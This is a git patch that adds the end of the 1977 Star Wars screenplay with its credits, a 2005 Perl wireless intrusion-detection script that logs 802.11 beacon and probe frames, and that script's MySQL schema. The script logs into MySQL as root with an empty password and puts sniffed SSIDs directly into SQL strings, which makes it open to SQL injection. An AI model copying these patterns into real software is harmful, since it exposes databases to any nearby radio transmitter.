targeting computer swings around into position. Vader +takes careful aim on Luke's X-wing fighter. + +VADER: I have you now. + +He pushes the fire buttons. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +The three TIE fighters move in on Luke. As Vader's center +fighter unleashes a volley of laserfire, one of the TIE ships +at his side is hit and explodes into flame. The two remaining +ships continue to move in. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks about, wondering whose laserfire destroyed Vader's +wingman. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader is taken by surprise, and looks out from his cockpit. + +VADER: What? + +INTERIOR: DARTH VADER'S WINGMAN -- COCKPIT. + +Vader's wingman searches around him trying to locate the +unknown attacker. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Han and Chewbacca grin from ear to ear. + +HAN: (yelling) Yahoo! + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +The Millennium Falcon heads right at the two TIE fighters. +It's a collision course. + +INTERIOR: WINGMAN'S COCKPIT. + +The wingman spots the pirateship coming at him and warns the +Dark Lord. + +WINGMAN: Look out! + +EXTERIOR: DEATH STAR TRENCH. + +Vader's wingman panics at the sight of the oncoming pirate +starship and veers radically to one side, colliding with +Vader's TIE fighter in the process. Vader's wingman crashes +into the side wall of the trench and explodes. Vader's damaged +ship spins out of the trench with a damaged wing. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Vader's ship spins out of control with a bent solar fin, +heading for deep space. + +INTERIOR: DARTH VADER'S COCKPIT. + +Vader turns round and round in circles as his ship spins +into space. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Solo's ship moves in toward the Death Star trench. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Solo, smiling, speaks to Luke over his headset mike. + +HAN: (into mike) You're all clear, kid. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Leia and the others listen to Solo's transmission. + +HAN: (over speaker) Now let's blow this thing and go home! + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke looks up and smiles. He concentrates on the exhaust port, +then fires his laser torpedoes. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Luke's torpedoes shoot toward the port and seems to simply +disappear into the surface and not explode. But the shots do +find their mark and have gone into the exhaust port and are +heading for the main reactor. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke throws his head back in relief. + +INTERIOR: DEATH STAR. + +An Imperial soldier runs to the control panel board and pulls +the attack lever as the board behind him lights up. + +INTERCOM VOICE: Stand by to fire at Rebel base. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Two X-wings, a Y-wing, and the pirateship race toward Yavin in +the distance. + +INTERIOR: DEATH STAR. + +Several Imperial soldiers, flanking a pensive Grand Moff +Tarkin, busily push control levers and buttons. + +INTERCOM VOICE: Standing by. + +The rumble of a distant explosion begins. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +The Rebel ships race out of sight, leaving the moon-like Death +Star alone against a blanket of stars. Several small flashes +appear on the surface. The Death Star bursts into a supernova, +creating a spectacular heavenly display. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +HAN: Great shot, kid. That was one in a million. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke is at ease, and his eyes are closed. + +BEN'S VOICE: Remember, the Force will be with you...always. + +The ship rocks back and forth. + +EXTERIOR: DARTH VADER'S TIE FIGHTER. + +Vader's ship spins off into space. + +EXTERIOR: SPACE. + +The Rebel ships race toward the fourth moon of Yavin. + +INTERIOR: MASSASSI OUTPOST -- MAIN HANGAR. + +Luke climbs out of his starship fighter and is cheered by a +throng of ground crew and pilots. Luke climbs down the ladder +as they all welcome him with laughter, cheers, and shouting. +Princess Leia rushes toward him. + +LEIA: Luke! Luke! Luke! + +She throws her arms around Luke and hugs him as they dance +around in a circle. Solo runs in toward Luke and they embrace +one another, slapping each other on the back. + +HAN: (laughing) Hey! Hey! + +LUKE: (laughing) I knew you'd come back! I just knew it! + +HAN: Well, I wasn't gonna let you get all the credit and take all the +reward. + +Luke and Han look at one another, as Solo playfully shoves +at Luke's face. Leia moves in between them. + +LEIA: (laughing) Hey, I knew there was more to you than money. + +Luke looks toward the ship. + +LUKE: Oh, no! + +The fried little Artoo-Detoo is lifted off the back of the +fighter and carried off under the worried eyes of Threepio. + +THREEPIO: Oh, my! Artoo! Can you hear me? Say something! (to mechanic) +You can repair him, can't you? + +TECHNICIAN: We'll get to work on him right away. + +THREEPIO: You must repair him! Sir, if any of my circuits or gears +will help, I'll gladly donate them. + +LUKE: He'll be all right. + +INTERIOR: MASSASSI OUTPOST -- MAIN THRONE ROOM. + +Luke, Han, and Chewbacca enter the huge ruins of the main +temple. Hundreds of troops are lined up in neat rows. Banners +are flying and at the far end stands a vision in white, the +beautiful young Senator Leia. Luke and the others solemnly +march up the long aisle and kneel before Senator Leia. From +one side of the temple marches a shined-up and fully repaired +Artoo-Detoo. He waddles up to the group and stands next to an +equally pristine Threepio, who is rather awestruck by the +whole event. Chewbacca is confused. Dodonna and several other +dignitaries sit on the left of the Princess Leia. Leia is +dressed in a long white dress and is staggeringly beautiful. +She rises and places a gold medallion around Han's neck. He +winks at her. She then repeats the ceremony with Luke, who is +moved by the event. They turn and face the assembled troops, +who all bow before them. Chewbacca growls and Artoo beeps with +happiness. + +FADE OUT + +END CREDITS OVER STARS + +THE END + + +----------------------- + + +CREDITS + +Written and Directed by +GEORGE LUCAS +Produced by +GARY KURTZ + +STARRING +MARK HAMILL HARRISON FORD CARRIE FISHER +PETER CUSHING +and ALEC GUINNESS +with +ANTHONY DANIELS, KENNY BAKER, PETER MAYHEW, +DAVID PROWSE, JACK PURVIS, EDDIE BYRNE + +Production Designer +JOHN BARRY +Director of Photography +GILBERT TAYLOR, B.S.C. +Music by +JOHN WILLIAMS +Performed by The London Symphony Orchestra; Original Music +Copyright 1977 by Fox Fanfare Music, Inc. +Special Photographic Effects Supervisor +JOHN DYKSTRA +Special Production and Mechanical Effects Supervisor +JOHN STEARS +Film Editiors +PAUL HIRSCH, MARCIA LUCAS, RICHARD CHEW +Production Supervisor +ROBERT WATTS +Production Illustration +RALPH McQUARRIE +Costume Designer +JOHN MOLLO +Art Directors +NORMAN REYNOLDS, LESLIE DILLEY +Make up Supervisor +STUART FREEBORN +Production Sound Mixer +DEREK BALL +Casting +IRENE LAMB, DIANE CRITTENDEN, VIC RAMOS +Supervising Sound Editor +SAM SHAW +Special Dialogue and Sound Effects +BEN BURTT +Sound Editors +ROBERT R. RUTLEDGE, GORDON DAVIDSON, +GENE CORSO +Supervising Music Editor +KENNETH WANNBERG +Rerecording Mixers +DON MacDOUGALL, BOB MINKLER, RAY WEST, +ROBERT LITT, MIKE MINKLER, LESTER FRESHOLTZ, +RICHARD PORTMAN +Dolby Sound Consultant +STEPHEN KATZ +Orchestrations +HERBERT W. SPENCER +Music Scoring Mixer +ERIC TOMLINSON +Assistant Film Editors +TODD BOEKELHEIDE, JAY MIRACLE, +COLIN KITCHENS, BONNIE KOEHLER +Camera Operators +RONNIE TAYLOR, GEOFF GLOVER +Set Decorator +ROGER CHRISTIAN +Production Manager +BRUCE SHARMAN +Assistant Directors +TONY WAYE, GERRY GAVIGAN, TERRY MADDEN +Location Manager +ARNOLD ROSS +Assistant to Producer +BUNNY ALSUP +Assistant to Director +LUCY AUTREY WILSON +Production Assistant +PAT CARR, MIKI HERMAN +Gaffer +RON TABERA +Property Master +FRANK BRUTON +Wardrobe Supervisor +RON BECK +Stunt Coordinator +PETER DIAMOND +Continuity +ANN SKINNER +Titles +DAN PERRI +Second Unit Photography +CARROLL BALLARD, RICK CLEMENTE, +ROBERT DALVA, TAK FUIJIMOTO +Second Unit Art Direction +LEON ERICKSON, AL LOCATELLI +Second Unit Production Managers +DAVID LESTER, PETER HERALD, PEPI LENZI +Second Unit Make-up +RICK BAKER, DOUGLAS BESWICK +Assistant Sound Editors +ROXANNE JONES, KAREN SHARP +Production Controller +BRIAN GIBBS +Location Auditor +RALPH M. LEO +Assistant Auditors +STEVE CULLIP, PENNY McCARTHY, KIM FALKINBURG +Advertising/Publicity Supervisor +CHARLES LIPPINCOTT +Unit Publicist +BRIAN DOYLE +Still Photographer +JOHN JAY + + +MINIATURE AND OPTICAL EFFECTS UNIT +First Camerman +RICHARD EDLUND +Second Camerman +DENNIS MUREN +Assistant Camermen +DOUGLAS SMITH, KENNETH RALSTON, DAVID ROBMAN +Second Unit Photography +BRUCE LOGAN +Composite Optical Photography +ROBERT BLALACK (PRAXIS) +Optical Photography Coordinator +PAUL ROTH +Optical Printer Operators +DAVID BERRY, DAVID McCUE, RICHARD PECORELLA, +ELDON RICKMAN, JAMES VAN TREES, JR. +Optical Camera Assistants +CALEB ASCHKYNAZO, JOHN C. MOULDS, +BRUCE NICHOLSON, +GARY SMITH, BERT TERRERI, +DONNA TRACEY, JIM WELLS, VICKY WITT +Production Supervisor +GEORGE E. MATHER +Matte Artist +P. S. ELLENSHAW +Planet and Satellite Artist +RALF McQUARRIE +Effects Illustration and Design +JOSEPH JOHNSTON +Additional Spacecraft Design +COLIN CANTWELL +Chief Model Maker +GRANT McCUNE +Model Builders +DAVID BEASLEY, JON ERLAND, LORNE PETERSON, +STEVE GAWLEY, PAUL HUSTON, DAVID JONES +Animation and Rotoscope Design +ADAM BECKETT +Animators +MICHAEL ROSS, PETER KURAN, JONATHAN SEAY, +CHRIS CASADY, LYN GERRY, DIANA WILSON +Stop Motion Animation +JON BERG, PHIL TIPPET +Miniature Explosions +JOE VISKOCIL, GREG AUER +Computer Animation and Graphics Displays +DAN O'BANNON, LARRY CUBA, JOHN WALSH, +JAY TEITZELL, IMAGE WEST +Film Control Coordinator +MARY M. LIND +Film Librarians +CINDY ISMAN, CONNIE McCRUM, PAMELA MALOUF +Electronic Designs +ALVAH J. MILLER +Special Components +JAMES SHOURT +Assistants, +MASAAKI NORIHORO, ELEANOR PORTER +Camera and Mechanical Design +DON TRUMBULL, RICHARD ALEXANDER, +WILLIAM SHOURT +Special Mechanical Equipment +JERRY GREENWOOD, DOUGLAS BARNETT, STUART ZIFF, +DAVID SCOTT +Production Managers +BOB SHEPHERD, LON TINNEY +Production Staff +PATRICIA ROSE DUIGNAN, MARK KLINE, +RHONDA PECK, RON NATHAN +Assistant Editor (Opticals) +BRUCE MICHAEL GREEN +Additional Optical Effects +VAN DER VEER PHOTO EFFECTS, +RAY MERCER & COMPANY, +MODERN FILM EFFECTS, +MASTER FILM EFFECTS +DE PATIE-FRELENG ENTERPRISES, INC. + +PANAVISION TECHNICOLOR Prints by DELUXE +Making Films Sound Better, DOLBY SYSTEM +Noise Reduction -- High Fidelity + +CAST + +Luke Skywalker MARK HAMILL +Han Solo HARRISON FORD +Princess Leia Organa CARRIE FISHER +Grand Moff Tarkin PETER CUSHING +Ben (Obi-Wan) Kenobi ALEC GUINNESS +See-Threepio (C-3PO) ANTHONY DANIELS +Artoo-Detoo (R2-D2) KENNY BAKER +Chewbacca PETER MAYHEW +Lord Darth Vader DAVID PROWSE +Uncle Owen PHIL BROWN +Aunt Beru SHELAGH FRASER +Chief Jawa JACK PERVIS +General Dodonna ALEX McCRINDLE +General Willard EDDIE BYRNE +Red Leader DREWE HEMLEY +Red Two (Wedge) DENNIS LAWSON +Red Three (Biggs) GARRICK HAGON +Red Four (John "D") JACK KLAFF +Red Six (Porkins) WILLIAM HOOTKINS +Gold Leader ANGUS McINNIS +Gold Two JEREMY SINDEN +Gold Five GRAHAM ASHLEY +General Taggi DON HENDERSON +General Motti RICHARD LE PARMENTIER +Commander One LESLIE SCHOFIELD + +Photographed in Tunisia +Tikal National Park, Guatemala +Death Valley National Monument, California +and at EMI Elstree Studios, Borehamwood, England +Music Recorded at Anvil Recording Studios, Denham, England +Post Production Completed at American Zoetrope, San Francisco, California +Rerecording at Samuel Goldwyn Studios, Los Angeles, California + +The producers wish to thank the government of Tunisia, the Institute of +Anthropology and History of Guatemala, and the National Park Service, +United States Department of the Interior, for their cooperation. + +Copyright 1977 by Twentieth Century-Fox Film Corporation + +A LUCASFILM LTD. PRODUCTION + +Ownership of this motion picture is protected by copyright and other +applicable laws and any unauthorized duplication, distribution, or +exhibition of this motion picture could result in criminal prosecution +as well as civil liability. diff --git a/wireless/ids.pl b/wireless/ids.pl new file mode 100644 index 0000000..354f093 --- /dev/null +++ b/wireless/ids.pl @@ -0,0 +1,84 @@ +#!/usr/bin/perl -w + +#ids.pl +#Where pcap source is any libpcap source file or socket. +#Copyright 2005 Russell Handorf, ClosedNetworks, Inc. +#This script is for educational purposes only. I am not +#responsible for any damage this script might cause. + +use Net::Pcap; +use DBI; + +my $err; +my $dev = $ARGV[0]; +my $object; +my $dbh = DBI->connect('DBI:mysql:wifiabuse', 'root', ''); + +if (!$dev) { + print "useage ids.pl \n"; + print "ids.pl written by Russell Handorf\n"; + print "rhandorf\@closednetworks.com for questions.\n"; + exit(0); +} + +$object = Net::Pcap::open_offline($dev, \$err); +unless (defined $object) { + die 'Unable to create packet capture on device ', $dev, ' - ', $err; +} + +Net::Pcap::loop($object, -1, \&callback_function, ''); +Net::Pcap::close($object); + +sub callback_function { + my ($user_data,$header,$packet) =@_; + #the beacons have to be atleast 37 bytes + if (length($packet)>36) { + my $query="NULL"; + my $time = time(); + my $o = unpack ('H2*',substr($packet,0,1)); #find out what kind of packet it is + if ($o eq "80") { #if it is a broadcast + my $sourcemac = unpack ('H12',substr($packet,10,6)); #the packets source mac address + my $len = hex unpack ('H2',substr($packet,37)); #get the size of the ssid + my $bs = unpack ('H12',substr($packet,16,6)); #get the basestation mac + my $ssid=unpack ('A*',substr($packet,38,$len)); #get the ssid + if ($len==0) { #if the ssid isnt broadcasted + $ssid=">no-ssid<"; + } + my $tmplen=$len+38+1; + my $rateslen=hex unpack ('H2',substr($packet,$tmplen)); + $tmplen=$tmplen+1; + my $rates=unpack ('H*',substr($packet,$tmplen,$rateslen)); + $tmplen=$tmplen+$rateslen+2; + my $channel=hex unpack ('H2',substr($packet,$tmplen)); + my $sth = $dbh->prepare("select id from detecteddevices where devbsmac='$bs' and devssid='$ssid'"); + $sth->execute(); + if ($sth->rows >1) { + $query = "update detecteddevices set time='$time',channel='$channel',rates='$rates',devmac='$sourcemac' where devbsmac='$bs' and devssid='$ssid'"; + } else { + $query = "insert into detecteddevices set time='$time',devbsmac='$bs',devssid='$ssid',channel='$channel',rates='$rates',devmac='$sourcemac'"; + } + #print "Beacon Frame: source mac:",$sourcemac," basestation id: $bs other: ",$o," ssid: $ssid len: $len\n"; + } + if ($o eq "40") { #if it's a probe for ssid's + my $offmac=unpack ('H12',substr($packet,10,6)); #get the source mac + $query = "insert into events set time='$time',offmac='$offmac',offtype='PROBE'"; + print "PROBE! source mac: $offmac\n"; + } + #if ($o eq "50") { #if it's a probe response + # my $offmac=unpack ('H12',substr($packet,5,6)); + # my $sourcemac = unpack ('H12',substr($packet,10,6)); + # my $bs = unpack ('H12',substr($packet,16,6)); + # my $len = hex unpack ('H2',substr($packet,37)); + # my $ssid=unpack ('A*',substr($packet,38,$len)); + # if ($len==0) { + # $ssid=">no ssid<"; + # } + # #print "PROBE RESPONSES! source mac: $offmac $len $ssid\n"; + #} + if ($query ne "NULL") { + my $sth3 = $dbh->prepare($query); + $sth3->execute() or die "Couldn't execute statement: " . $sth3->errstr;; + } + } +} + diff --git a/wireless/wifiabuse.sql b/wireless/wifiabuse.sql new file mode 100644 index 0000000..5e4bc18 --- /dev/null +++ b/wireless/wifiabuse.sql @@ -0,0 +1,110 @@ +-- MySQL dump 9.08 +-- +-- Host: localhost Database: wifiabuse +--------------------------------------------------------- +-- Server version 4.0.17 + +-- +-- Table structure for table 'detecteddevices' +-- + +CREATE TABLE detecteddevices ( + id int(255) NOT NULL auto_increment, + devmac varchar(17) NOT NULL default '', + devssid varchar(255) NOT NULL default '', + time int(255) NOT NULL default '0', + devbsmac varchar(17) default NULL, + rates blob, + channel int(3) default NULL, + PRIMARY KEY (id), + UNIQUE KEY id (id) +) TYPE=MyISAM; + +-- +-- Table structure for table 'devices' +-- + +CREATE TABLE devices ( + id int(255) NOT NULL auto_increment, + devid varchar(255) NOT NULL default '', + devip varchar(15) NOT NULL default '', + devmac varchar(17) NOT NULL default '', + devmap blob, + PRIMARY KEY (id), + UNIQUE KEY id (id) +) TYPE=MyISAM; + +-- +-- Table structure for table 'events' +-- + +CREATE TABLE events ( + id int(255) NOT NULL auto_increment, + offip varchar(15) NOT NULL default '', + offmac varchar(17) NOT NULL default '', + offos blob, + offrssi int(3) default NULL, + offtype varchar(255) NOT NULL default '', + time int(255) NOT NULL default '0', + PRIMARY KEY (id), + UNIQUE KEY id (id) +) TYPE=MyISAM; + +-- +-- Table structure for table 'leo' +-- + +CREATE TABLE leo ( + id int(255) NOT NULL auto_increment, + leoname varchar(255) NOT NULL default '', + leonum varchar(15) NOT NULL default '', + leoemail blob, + PRIMARY KEY (id), + UNIQUE KEY id (id) +) TYPE=MyISAM; + +-- +-- Table structure for table 'notes' +-- + +CREATE TABLE notes ( + id int(255) NOT NULL auto_increment, + ticketid varchar(255) NOT NULL default '', + note blob, + date int(255) default NULL, + PRIMARY KEY (id), + UNIQUE KEY id (id) +) TYPE=MyISAM; + +-- +-- Table structure for table 'offences' +-- + +CREATE TABLE offences ( + id int(255) NOT NULL auto_increment, + offip varchar(15) NOT NULL default '', + offmac varchar(17) NOT NULL default '', + offos blob, + offrssi int(3) default NULL, + offtype varchar(255) NOT NULL default '', + time int(255) NOT NULL default '0', + PRIMARY KEY (id), + UNIQUE KEY id (id) +) TYPE=MyISAM; + +-- +-- Table structure for table 'tickets' +-- + +CREATE TABLE tickets ( + id int(255) NOT NULL auto_increment, + status char(2) NOT NULL default '', + date varchar(255) NOT NULL default '', + time varchar(255) NOT NULL default '', + devid int(255) NOT NULL default '0', + offid int(255) NOT NULL default '0', + leoid int(255) NOT NULL default '0', + PRIMARY KEY (id), + UNIQUE KEY id (id) +) TYPE=MyISAM; + -- 2.34.1